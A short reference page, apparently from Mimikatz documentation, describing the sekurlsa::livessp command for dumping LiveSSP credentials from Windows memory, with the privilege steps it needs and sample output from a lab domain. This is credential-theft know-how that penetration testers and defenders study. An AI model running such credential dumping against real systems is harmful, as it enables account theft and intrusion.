livessp
sekurlsa::livessp lists LiveSSP credentials. According to Microsoft, the LiveSSP provider is included by default in Windows 8 and later and is included in the Office 365 Sign-in Assistant.
This command requires elevated privileges (by previously running privilege::debug or by executing Mimikatz as the NT-AUTHORITY\SYSTEM account).
1
mimikatz # sekurlsa::livessp
2
โ€‹
3
Authentication Id : 0 ; 3151880 (00000000:00301808)
4
Session : RemoteInteractive from 2
5
User Name : m3g9tr0n
6
Domain : hacklab
7
Logon Server : DC
8
Logon Time : 13/10/2021 20:58:08
9
SID : S-1-5-21-2725560159-1428537199-2260736313-1730
10
โ€‹
11
Authentication Id : 0 ; 3150964 (00000000:00301474)
12
Session : RemoteInteractive from 2
13
User Name : m3g9tr0n
14
Domain : hacklab
15
Logon Server : DC
16
Logon Time : 13/10/2021 20:58:08
17
SID : S-1-5-21-2725560159-1428537199-2260736313-1730
Copied!
Copy link